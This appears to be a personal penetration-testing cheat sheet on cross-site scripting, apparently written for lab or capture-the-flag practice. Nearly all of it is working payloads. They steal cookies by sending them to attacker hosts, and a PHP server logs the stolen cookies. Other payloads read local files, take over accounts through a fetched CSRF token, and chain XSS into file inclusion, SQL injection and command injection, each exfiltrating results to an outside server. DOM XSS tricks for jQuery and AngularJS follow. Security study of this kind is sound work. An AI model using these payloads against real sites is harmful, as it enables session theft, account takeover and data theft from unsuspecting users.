XSS

One of the most common types of web application vulnerabilities is Cross-Site Scripting (XSS).

XSS detection

# Check for xss file upload vulnerability
echo '<SCRIPT SRC=http://10.10.14.22:9090/test></SCRIPT>' > test2.png

# Load remote script
<script src="http://OUR_IP/script.js"></script>

# Check with basic payload
<script>alert(window.origin)</script>

# HTML based
<img src="" onerror=alert(window.origin)>

Read files

# Read file
<script> x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open('GET','file:///etc/passwd');x.send(); </script>

# Read file base64
<script> x=new XMLHttpRequest; x.onload=function(){document.write(btoa(this.responseText))}; x.open('GET','file:///etc/passwd');x.send(); </script>

Steal cookie

# Send cookie
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>

# Send cookie
<script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script>

# IMG src
<img src=x onerror="fetch('http://10.10.11.11/api/test').then(r => r.text()).then(data => fetch(`http://10.10.14.9/?data=${btoa(data)}`))">

# On attacker machine
window.location = "http://target.xzy/cookiestealer?c=" + document.cookie;

# Steal cookie to collaborator
<script>fetch('https://burpcollaborator.net',{method:'POST',mode:'no-cors',body:document.cookie})</script>

# Steal cookies to server
<script>fetch('https://10.10.15.51:443/x?c='+document.cookie)</script>

# Cookie steal JS
JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie

# Reflected XSS into HTML
<script>document.location='https://COLLABORATOR.com?c='+document.cookie</script>

# Angular DOM XSS
{{$on.constructor('document.location="https://COLLABORATOR.com?c="+document.cookie')()}}

# Document.location
document.location='https://burp-collab.x.com/cookiestealer.php?c='+document.cookie;

# Document.write
/?evil='/><script>document.write('<img src="https://exploit.com/steal.MY?cookie=' document.cookie '" />')</script> 

Steal cookie with php

# Write this line to script.js
new Image().src='http://PWNIP:PWNPO/index.php?c='+document.cookie;

# Host index.php
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

# Start listener
php -S 0.0.0.0:8080

# Execute payload
"><script src=http://PWNIP:PWNPO/script.js></script> 

Ex-filtrate data

GET parameter is bad practice due to the limited URL length, use POST with longer data. Exfiltrate data from the victim's user context, here home.php. If the endpoint's fetch request does not include credentials remove xhr.withCredentials = true;.

Host script in script.js and get with

<script src="http://10.10.10.10/script.js"></script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Account takover

If updating password doesn not require old password we can change victims password by making a GET request where we get the CSRF token, extract it and POST request to change victim's password.

var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&email=admin@vulnerablesite.htb&password=pwned&csrf_token=6079fb6a924fc0f3128e7d2014d0e7c5`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);

XSS chained with LFI

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php?view=../../../../etc/passwd', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.tech/lfi?r=" + btoa(xhr.responseText), false);
exfil.send();

XSS chained with SQL injection

Using xxs we found an endpoint at http://internal.vulnsite.tech First exfiltrate the data:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://internal.vulnsite.tech/', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.tech/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Test for SQL injection

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("'test")}&pass=x`;
xhr.open('POST', 'http://internal.vulnsite.tech/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.tech/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

SQL authentication bypass

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' OR '1'='1' -- -")}&pass=x`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Dump user table

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' UNION SELECT id,username,password,info FROM users-- -")}&pass=x`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

XSS chained RCE

If getting a response like curl: (6) Could not resolve host: doesnotexist.htb after data exfil RCE might be possible.

var xhr = new XMLHttpRequest();
var params = `webapp_selector=${encodeURIComponent("| id")}`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

DOM XSS

DOM XSS in document.write sink using source location.search.

As DOM interacts with HTML we need to escape HTML by using ">. As without it will be treated as text in the HTML attribute. By escaping it will look like:

// payload
"><script>alert(1)</script>

// html
<input type="text" value=""><script>alert(1)</script>">

DOM XSS in document.write sink using source location.search inside a select element. To break out the select element we can for example. We close html with "> then select with </select>. The insert the payload.

  • "><svg onload=alert(1)>
  • "></select><img src=x onerror=alert(1)>
# Example url
www.mcz3n.com/product?productId=1&storeId="><svg%20onload=alert(1)>

DOM XSS in innerHTML sink using source location.search. Here the contents of a div element are changed using data from location.search. Again we can escape the html and trigger an alert.

https://mcz3n.com/?search="><svg onload=alert(1)>

DOM XSS in jQuery

Most web apps used 3rd party libraries and or frameworks. These are potential sources and sinks for DOM XSS. One of them is jQuery. jQuery is a JavaScript library**, a big collection of pre-made helper functions, it makes JavaScript simpler for finding elements, changing HTML, handling clicks, and making AJAX requests.

// Vulnerable code
$('#backLink').attr("href",
   (new URLSearchParams(window.location.search)).get('returnUrl')
);
  • window.location.search Is the part after the ? in the URL.
  • .get('returnUrl') Reads what comes after `?returnUrl=````
  • .attr("href", ...) Sets that as the link's destination
// If the url
page.html?returnUrl=https://example.com

// The link becomes
<a id="backLink" href="https://example.com">Go back</a>

// But changing url
page.html?returnUrl=javascript:alert(1)

// Link becomes
<a id="backLink" href="javascript:alert(1)">Go back</a>

To get a cookie

javascript:alert(document.cookie)

DOM XSS jQuery $() Selector

Can be used to inject malicious objects into the DOM. Below the code, where the hash is user controlled input and be used to input XSS. The hash could be #section2 which means the browser will scroll to that section.

// Vulnerable code
$(window).on('hashchange', function() {
    var element = $(location.hash); 
    element[0].scrollIntoView();
});

To exploit this you need to trigger the hashchange events without user interaction, which can be done using an iframe.

<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">

DOM XSS in AngularJS

When a site uses the ng-app attribute on an HTML element it could be possbile to use JavaScript without angle, brackets or events.

  • AngularJS treats anything inside {{ }} as a JavaScript expression
  • For example input: {{2+2}} would render as 4
// Then send XSS payload
{{constructor.constructor('alert(1)')()}}

// Or
{{$on.constructor('alert(1)')()}}